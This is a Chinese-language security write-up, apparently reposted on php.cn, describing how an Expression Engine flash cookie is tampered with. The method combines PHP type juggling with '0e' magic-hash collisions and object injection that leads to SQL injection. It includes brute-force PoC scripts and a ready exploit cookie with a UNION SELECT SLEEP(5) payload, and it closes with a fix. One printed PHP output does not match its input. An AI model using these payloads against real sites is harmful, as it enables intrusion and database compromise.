一次利用弱型別和物件注入的安全入侵分享

*文
發布: 2023-03-18 09:26:01
原創
1522 人瀏覽過

安全是網站上線面臨的最重要的問題。沒有絕對的安全,只有不斷攻防對抗。不要相信用戶提交的資料是第一宗旨,本文以一次利用弱類型和物件注入的安全入侵作為分享,希望讓大家對網站安全有更清晰的概念。

最近,我在一個目標中尋找漏洞時,遇到了一個正在運行Expression Engine(一個CMS平台)的主機。 這個特殊的應用程式吸引了我,因為當我嘗試使用 “admin” 為使用者名稱登入該應用程式時,伺服器回應的cookie中包含了PHP序列化資料。 如我們之前所說過的,反序列化使用者提供的資料可能導致意外的結果; 在某些情況下,甚至會導致程式碼執行。 於是,我決定仔細檢查一下,而不是盲目的去測試,先看看我能否可以下載到這個CMS的源碼,透過程式碼來弄清楚序列化資料的過程中到底發生了什麼,然後啟動一個本地搭建的副本進行測試。

當我有了這個CMS的源碼後,我使用grep指令定位到了使用cookie的位置,並找到檔案“./system/ee/legacy/libraries/Session.php”,發現cookie用在了使用者會話維持,這個發現非常有意義。 仔細看了Session.php,我發現了下面的方法,它負責將序列化的資料進行反序列化:

  protected function _prep_flashdata()
  {
    if ($cookie = ee()->input->cookie('flash'))
    {
      if (strlen($cookie) > 32)
      {
        $signature = substr($cookie, -32);
        $payload = substr($cookie, 0, -32);
        if (md5($payload.$this->sess_crypt_key) == $signature)
        {
          $this->flashdata = unserialize(stripslashes($payload));
          $this->_age_flashdata();
          return;
        }
      }
    }
    $this->flashdata = array();
  }
登入後複製

   

#透過程式碼,我們可以看到在我們的cookie被解析之前執行了一系列檢查,然後在1293行的程式碼處進行了反序列化。所以讓我們先看看我們的cookie,透過檢查,看看我們是否可以呼叫到「unserialize()」:

a%3A2%3A%7Bs%3A13%3A%22%3Anew%3Ausername%22%3Bs%3A5%3A%22admin%22%3Bs%3A12%3A%22%3Anew%3Amessage%22%3Bs%3A38%3A%22That+is+the+wrong+username+or+password%22%3B%7D3f7d80e10a3d9c0a25c5f56199b067d4
登入後複製

  

URL解碼後如下:

a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4
登入後複製

   

如果存在flash cookie,我們就將資料載入到「$ cookie」變數中(在1284行處的程式碼),然後繼續往下執行。 接下來我們檢查cookie資料的長度是否大於32(在1286行處的程式碼),繼續往下執行。 現在我們使用「substr()」來取得cookie資料的最後32個字符,並將其儲存在「$signature」變數中,然後將其餘的cookie資料儲存在「$ payload」中,如下所示:

$ php -a
Interactive mode enabled
php > $cookie = 'a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4';
php > $signature = substr($cookie, -32);
php > $payload = substr($cookie, 0, -32);
php > print "Signature: $signature\n";
Signature: 3f7d80e10a3d9c0a25c5f56199b067d4
php > print "Payload: $payload\n";
Payload: prod_flash=a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:29:"Invalid username or password.";}
php >
登入後複製

   

現在在第1291行的程式碼中,我們計算了「$ payload.$ this-> sess_crypt_key」的md5哈希值,並將其與我們在如上所示的Cookie結尾處提供的「$signature」進行比較。 透過快速檢視程式碼,發現「$ this-> sess_crypt_cookie」的值是從安裝時建立的「./system/user/config/config.php」這個檔案傳遞過來的:

./system/user/config/config.php:$config['encryption_key'] = '033bc11c2170b83b2ffaaff1323834ac40406b79';
登入後複製

   

所以讓我們將這個“$ this-> sess_crypt_key”手動定義為“$ salt”,看看md5哈希值:

php > $salt = '033bc11c2170b83b2ffaaff1323834ac40406b79';
php > print md5($payload.$salt);
3f7d80e10a3d9c0a25c5f56199b067d4
php >
登入後複製

   


#確定md5雜湊值與「$ signature」相等。 執行此檢查的原因是為了確保「$payload」(即序列化的資料)的值未被竄改。 如此起來,這種檢查確實足以防止這種篡改; 然而,由於PHP是一種弱類型的語言,在執行比較時存在一些陷阱。

不嚴格的比較導致「翻船」

讓我們來看一些比較鬆散的比較案例,以獲得一個好的構造payload的方法:

<?php 
  
$a = 1;
$b = 1;
  
var_dump($a);
var_dump($b);
  
if ($a == $b) { print "a and b are the same\n"; }
else { print "a and b are NOT the same\n"; }
?>
登入後複製

  

#Output:

$ php steps.php
int(1)
int(1)
a and b are the same
登入後複製
<?php 
  
$a = 1;
$b = 0;
  
var_dump($a);
var_dump($b);
  
if ($a == $b) { print "a and b are the same\n"; }
else { print "a and b are NOT the same\n"; }
  
?>
登入後複製

  

Output:

$ php steps.php
int(1)
int(0)
a and b are NOT the same
登入後複製
<?php 
  
$a = "these are the same";
$b = "these are the same";
  
var_dump($a);
var_dump($b);
  
if ($a == $b) { print "a and b are the same\n"; }
else { print "a and b are NOT the same\n"; }
  
?>
登入後複製

Output:

$ php steps.php
string(18) "these are the same"
string(18) "these are the same"
a and b are the same
登入後複製
<?php 
  
$a = "these are NOT the same";
$b = "these are the same";
  
var_dump($a);
var_dump($b);
  
if ($a == $b) { print "a and b are the same\n"; }
else { print "a and b are NOT the same\n"; }
  
?>
登入後複製

  

Output:

$ php steps.php
string(22) "these are NOT the same"
string(18) "these are the same"
a and b are NOT the same
登入後複製

#   


看起來PHP是「有幫助」於比較運算運算,比較時會將字串轉換為整數。最後,現在讓我們看看當我們比較兩個看起來像是用科學記數法寫成的整數的字串時會發生什麼:

<?php
$a = "0e111111111111111111111111111111";
$b = "0e222222222222222222222222222222";
var_dump($a);
var_dump($b);
if ($a == $b) { print "a and b are the same\n"; }
else { print "a and b are NOT the same\n"; }
?>
登入後複製

Output:

$ php steps.php
string(32) "0e111111111111111111111111111111"
string(32) "0e222222222222222222222222222222"
a and b are the same
登入後複製

   


#透過上面的結果可以看到,即使變數「$ a」和變數「$ b」都是字串類型,並且明顯有著不同的值,使用寬鬆比較運算符會導致比較求值結果為true,因為在PHP中將「0ex」轉換為整數時總是為零。 這被稱為Type Juggling。

弱型別比較-Type Juggling

有了這個新的知識,讓我們重新檢查一下本來應該防止我們篡改序列化資料的檢查:

if (md5($payload.$this->sess_crypt_key) == $signature)
登入後複製

   


我們在這裡能夠控制“$ payload”的值和“$ signature”的值,所以如果我們能夠找到一個payload,使得“$ this->sess_crypt_key”的md5值成為以0e開頭並以所有數字結束的字串,或者是「$ signature」的MD5哈希值設定為以0e開頭並以所有數字結尾的值,我們就可以成功的繞過這種檢查。

為了測試這個想法,我修改了一些我在網路上找到的程式碼,我將爆破「md5($ payload.$ this-> sess_crypt_key),直到出現我「篡改」的payload. 來看看看原來的「$ payload」的樣子:

$ php -a
Interactive mode enabled
php > $cookie = 'a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4';
php > $signature = substr($cookie, -32);
php > $payload = substr($cookie, 0, -32);
php > print_r(unserialize($payload));
Array
(
[:new:username] => admin
[:new:message] => That is the wrong username or password
)
php >
登入後複製

   


在我的新的「$ payload」變數中,顯示的內容是「錯誤的用戶名或密碼”,而我想顯示的是“taquito”。

序列化数组的第一个元素“[:new:username] => admin”似乎是一个可以创建一个随机值的好地方,所以这就是我们的爆破点。

注意:这个PoC是在我本地离线工作,因为我有权访问我自己的实例“$ this-> sess_crypt_key”,如果我们不知道这个值,那么我们就只能在线进行爆破了。

<?php
set_time_limit(0);
define(&#39;HASH_ALGO&#39;, &#39;md5&#39;);
define(&#39;PASSWORD_MAX_LENGTH&#39;, 8);
$charset = &#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&#39;;
$str_length = strlen($charset);
function check($garbage)
{
    $length = strlen($garbage);
    $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79";
    $payload = &#39;a:2:{s:13:":new:username";s:&#39;.$length.&#39;:"&#39;.$garbage.&#39;";s:12:":new:message";s:7:"taquito";}&#39;;
    #echo "Testing: " . $payload . "\n";
        $hash = md5($payload.$salt);
        $pre = "0e";
    if (substr($hash, 0, 2) === $pre) {
        if (is_numeric($hash)) {
          echo "$payload - $hash\n";
        }
      }
}
function recurse($width, $position, $base_string)
{
        global $charset, $str_length;
        for ($i = 0; $i < $str_length; ++$i) {
                if ($position  < $width - 1) {
                        recurse($width, $position + 1, $base_string . $charset[$i]);
                }
                check($base_string . $charset[$i]);
        }
}
for ($i = 1; $i < PASSWORD_MAX_LENGTH + 1; ++$i) {
        echo "Checking passwords with length: $i\n";
        recurse($i, 0, &#39;&#39;);
}
?>
登入後複製


当运行上面的代码后,我们得到了一个修改过的“$ payload”的 md5哈希值并且我们的 “$ this-> sess_crypt_key”的实例是以0e开头,并以数字结尾:

$ php poc1.php
Checking passwords with length: 1
Checking passwords with length: 2
Checking passwords with length: 3
Checking passwords with length: 4
Checking passwords with length: 5
a:2:{s:13:":new:username";s:5:"dLc5d";s:12:":new:message";s:7:"taquito";} - 0e553592359278167729317779925758
登入後複製


让我们将这个散列值与任何“$ signature”的值(我们所能够提供的)进行比较,该值也以0e开头并以所有数字结尾:

<?php
$a = "0e553592359278167729317779925758";
$b = "0e222222222222222222222222222222";
var_dump($a);
var_dump($b);
if ($a == $b) { print "a and b are the same\n"; }
else { print "a and b are NOT the same\n"; }
?>
登入後複製

Output:

$ php steps.php
string(32) "0e553592359278167729317779925758"
string(32) "0e222222222222222222222222222222"
a and b are the same
登入後複製


正如你所看到的,我们已经通过(滥用)Type Juggling成功地修改了原始的“$ payload”以包含我们的新消息“taquito”。

当PHP对象注入与弱类型相遇会得到什么呢?SQLi么?

虽然能够在浏览器中修改显示的消息非常有趣,不过让我们来看看当我们把我们自己的任意数据传递到“unserialize()”后还可以做点什么。 为了节省自己的一些时间,让我们修改一下代码:

if(md5($ payload。$ this-> sess_crypt_key)== $ signature)
登入後複製

修改为:if (1)

上述代码在“./system/ee/legacy/libraries/Session.php”文件中,修改之后,可以在执行“unserialize()”时,我们不必提供有效的签名。

现在,已知的是我们可以控制序列化数组里面“[:new:username] => admin”的值,我们继续看看“./system/ee/legacy/libraries/Session.php”的代码,并注意以下方法:

 function check_password_lockout($username = &#39;&#39;)
 {
   if (ee()->config->item(&#39;password_lockout&#39;) == &#39;n&#39; OR
     ee()->config->item(&#39;password_lockout_interval&#39;) == &#39;&#39;)
   {
     return FALSE;
   }
   $interval = ee()->config->item(&#39;password_lockout_interval&#39;) * 60;
   $lockout = ee()->db->select("COUNT(*) as count")
     ->where(&#39;login_date > &#39;, time() - $interval)
     ->where(&#39;ip_address&#39;, ee()->input->ip_address())
     ->where(&#39;username&#39;, $username)
     ->get(&#39;password_lockout&#39;);
   return ($lockout->row(&#39;count&#39;) >= 4) ? TRUE : FALSE;
 }
登入後複製


这个方法没毛病,因为它在数据库中检查了提供的“$ username”是否被锁定为预认证。 因为我们可以控制“$ username”的值,所以我们应该能够在这里注入我们自己的SQL查询语句,从而导致一种SQL注入的形式。这个CMS使用了数据库驱动程序类来与数据库进行交互,但原始的查询语句看起来像这样(我们可以猜的相当接近):

SELECT COUNT(*) as count FROM (`exp_password_lockout`) WHERE `login_date` > &#39;$interval&#39; AND `ip_address` = &#39;$ip_address&#39; AND `username` = &#39;$username&#39;;
登入後複製


修改“$payload”为:

a:2:{s:13:":new:username";s:1:"&#39;";s:12:":new:message";s:7:"taquito";}
登入後複製


并将其发送到页面出现了如下错误信息,但由于某些原因,我们什么也没有得到……

“Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line”
登入後複製


不是我想要的类型…

经过一番搜索后,我在“./system/ee/legacy/database/DB_driver.php”中看到了以下代码:

 function escape($str)
 {
   if (is_string($str))
   {
     $str = "&#39;".$this->escape_str($str)."&#39;";
   }
   elseif (is_bool($str))
   {
     $str = ($str === FALSE) ? 0 : 1;
   }
   elseif (is_null($str))
   {
     $str = &#39;NULL&#39;;
   }
   return $str;
 }
登入後複製


在第527行,我们看到程序对我们提供的值执行了“is_string()”检查,如果它返回了true,我们的值就会被转义。 我们可以通过在函数的开头和结尾放置“var_dump”并检查输出来确认这里到底发生了什么:

前:

string(1) "y"
int(1)
int(1)
int(1)
int(0)
int(1)
int(3)
int(0)
int(1)
int(1486399967)
string(11) "192.168.1.5"
string(1) "&#39;"
int(1)
登入後複製


后:

string(3) "&#39;y&#39;"
int(1)
int(1)
int(1)
int(0)
int(1)
int(3)
int(0)
int(1)
int(1486400275)
string(13) "&#39;192.168.1.5&#39;"
string(4) "&#39;\&#39;&#39;"
int(1)
登入後複製


果然,我们可以看到我们的“'”的值已经被转义,现在是“\'”。 幸运的是,对我们来说,我们还有办法。

转义检查只是检查看看“$ str”是一个字符串还是一个布尔值或是null; 如果它匹配不了任何这几个类型,“$ str”将返回非转义的值。 这意味着如果我们提供一个“对象”,那么我们应该能够绕过这个检查。 但是,这也意味着接下来我们需要搜索一个我们可以使用的对象。

自动加载给了我希望!

通常,当我们寻找可以利用unserialize的类时,我们通常使用魔术方法(如“__wakeup”或“__destruct”)来寻找类,但是有时候应用程序实际上会使用自动加载器。 自动加载背后的一般想法是,当一个对象被创建后,PHP就会检查它是否知道该类的任何东西,如果不是,它就会自动加载这个对象。 对我们来说,这意味着我们不必依赖包含“__wakeup”或“__destruct”方法的类。 我们只需要找到一个调用我们控制的“__toString”的类,因为应用程序会尝试将 “$ username”变量作为字符串使用。

寻找如这个文件中所包含的类:

“./system/ee/EllisLab/ExpressionEngine/Library/Parser/Conditional/Token/Variable.php”:
登入後複製


<?php
  namespace EllisLab\ExpressionEngine\Library\Parser\Conditional\Token;
  class Variable extends Token {
    protected $has_value = FALSE;
    public function __construct($lexeme)
    {
      parent::__construct(&#39;VARIABLE&#39;, $lexeme);
    }
    public function canEvaluate()
    {
      return $this->has_value;
    }
    public function setValue($value)
    {
      if (is_string($value))
      {
        $value = str_replace(
          array(&#39;{&#39;, &#39;}&#39;),
          array(&#39;{&#39;, &#39;}&#39;),
          $value
        );
      }
      $this->value = $value;
      $this->has_value = TRUE;
    }
    public function value()
    {
      // in this case the parent assumption is wrong
      // our value is definitely *not* the template string
      if ( ! $this->has_value)
      {
        return NULL;
      }
      return $this->value;
    }
    public function __toString()
    {
      if ($this->has_value)
      {
        return var_export($this->value, TRUE);
      }
      return $this->lexeme;
    }
  }
  // EOF
登入後複製


这个类看起来非常完美! 我们可以看到对象使用参数“$lexeme”调用了方法“__construct”,然后调用“__toString”,将参数“$ lexeme”作为字符串返回。 这正是我们正在寻找的类。 让我们组合起来快速为我们创建序列化对象对应的POC:

<?php
namespace EllisLab\ExpressionEngine\Library\Parser\Conditional\Token;
class Variable {
        public $lexeme = FALSE;
}
$x = new Variable();
$x->lexeme = "&#39;";
echo serialize($x)."\n";
?>
Output:
$ php poc.php
O:67:"EllisLab\ExpressionEngine\Library\Parser\Conditional\Token\Variable":1:{s:6:"lexeme";s:1:"&#39;";}
登入後複製


经过几个小时的试验和错误尝试,最终得出一个结论:转义在搞鬼。 当我们将我们的对象添加到我们的数组中后,我们需要修改上面的对象(注意额外的斜线):

a:1:{s:13:":new:username";O:67:"EllisLab\\\\\ExpressionEngine\\\\\Library\\\\\Parser\\\\\Conditional\\\\\Token\\\\Variable":1:{s:6:"lexeme";s:1:"&#39;";}}
登入後複製


我们在代码之前插入用于调试的“var_dump”,然后发送上面的payload,显示的信息如下:

string(3) "&#39;y&#39;"
int(1)
int(1)
int(1)
int(0)
int(1)
int(3)
int(0)
int(1)
int(1486407246)
string(13) "&#39;192.168.1.5&#39;"
object(EllisLab\ExpressionEngine\Library\Parser\Conditional\Token\Variable)#177 (6) {
  ["has_value":protected]=>
  bool(false)
  ["type"]=>
  NULL
  ["lexeme"]=>
  string(1) "&#39;"
  ["context"]=>
  NULL
  ["lineno"]=>
  NULL
  ["value":protected]=>
  NULL
}
登入後複製


注意,现在我们有了一个“对象”而不是一个“字符串”,“lexeme”的值是我们的非转义“'”的值!可以在页面中更进一步来确认:

<h1>Exception Caught</h1>
<h2>SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#39;&#39;&#39; at line 5:
SELECT COUNT(*) as count
FROM (`exp_password_lockout`)
WHERE `login_date` &gt;  1486407246
AND `ip_address` =  &#39;192.168.1.5&#39;
AND `username` =  &#39;</h2>
mysqli_connection.php:122
登入後複製


Awww! 我们已经成功地通过PHP对象注入实现了SQL注入,从而将我们自己的数据注入到了SQL查询语句中!

PoC!

最后,我创建了一个PoC来将Sleep(5)注入到数据库。 最让我头疼的就是应用程序中计算“md5()”时的反斜杠的数量与成功执行“unserialize()”需要的斜杠数量, 不过,一旦发现解决办法,就可以导致以下结果:

<?php
set_time_limit(0);
define(&#39;HASH_ALGO&#39;, &#39;md5&#39;);
define(&#39;garbage_MAX_LENGTH&#39;, 8);
$charset = &#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&#39;;
$str_length = strlen($charset);
function check($garbage)
{
    $length = strlen($garbage) + 26;
    $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79";
    $payload = &#39;a:1:{s:+13:":new:username";O:67:"EllisLab\\\ExpressionEngine\\\Library\\\Parser\\\Conditional\\\Token\\\Variable":1:{s:+6:"lexeme";s:+&#39;.$length.&#39;:"1 UNION SELECT SLEEP(5) # &#39;.$garbage.&#39;";}}&#39;;
    #echo "Testing: " . $payload . "\n";
        $hash = md5($payload.$salt);
        $pre = "0e";
    if (substr($hash, 0, 2) === $pre) {
        if (is_numeric($hash)) {
          echo "$payload - $hash\n";
        }
      }
}
function recurse($width, $position, $base_string)
{
        global $charset, $str_length;
        for ($i = 0; $i < $str_length; ++$i) {
                if ($position  < $width - 1) {
                        recurse($width, $position + 1, $base_string . $charset[$i]);
                }
                check($base_string . $charset[$i]);
        }
}
for ($i = 1; $i < garbage_MAX_LENGTH + 1; ++$i) {
        echo "Checking garbages with length: $i\n";
        recurse($i, 0, &#39;&#39;);
}
?>
登入後複製

Output:

$ php poc2.php
a:1:{s:+13:":new:username";O:67:"EllisLab\\ExpressionEngine\\Library\\Parser\\Conditional\\Token\\Variable":1:{s:+6:"lexeme";s:+31:"1 UNION SELECT SLEEP(5) # v40vP";}} - 0e223968250284091802226333601821
登入後複製


以及我们发送到服务器的payload(再次注意那些额外的斜杠):

Cookie: exp_flash=a%3a1%3a{s%3a%2b13%3a"%3anew%3ausername"%3bO%3a67%3a"EllisLab\\\\\ExpressionEngine\\\\\Library\\\\\Parser\\\\\Conditional\\\\\Token\\\\\Variable"%3a1%3a{s%3a%2b6%3a"lexeme"%3bs%3a%2b31%3a"1+UNION+SELECT+SLEEP(5)+%23+v40vP"%3b}}0e223968250284091802226333601821
登入後複製

   


五秒后我们就得到了服务器的响应。

修复方案!

这种类型的漏洞修复真的可以归结为一个“=”,将:if (md5($payload.$this->sess_crypt_key) == $signature)替换为:if (md5($payload.$this->sess_crypt_key) === $signature)

除此之外,不要“unserialize()”用户提供的数据!

相关推荐:

PHPer必知:6个常见的PHP安全性攻击!

php 安全过滤函数代码_PHP教程

php 安全的URL字符串base64编码和解码实例代码

以上是一次利用弱型別和物件注入的安全入侵分享的詳細內容。更多資訊請關注PHP中文網其他相關文章!

相關標籤:
來源:php.cn
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
作者最新文章
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板
關於我們 免責聲明 Sitemap
PHP中文網:公益線上PHP培訓,幫助PHP學習者快速成長!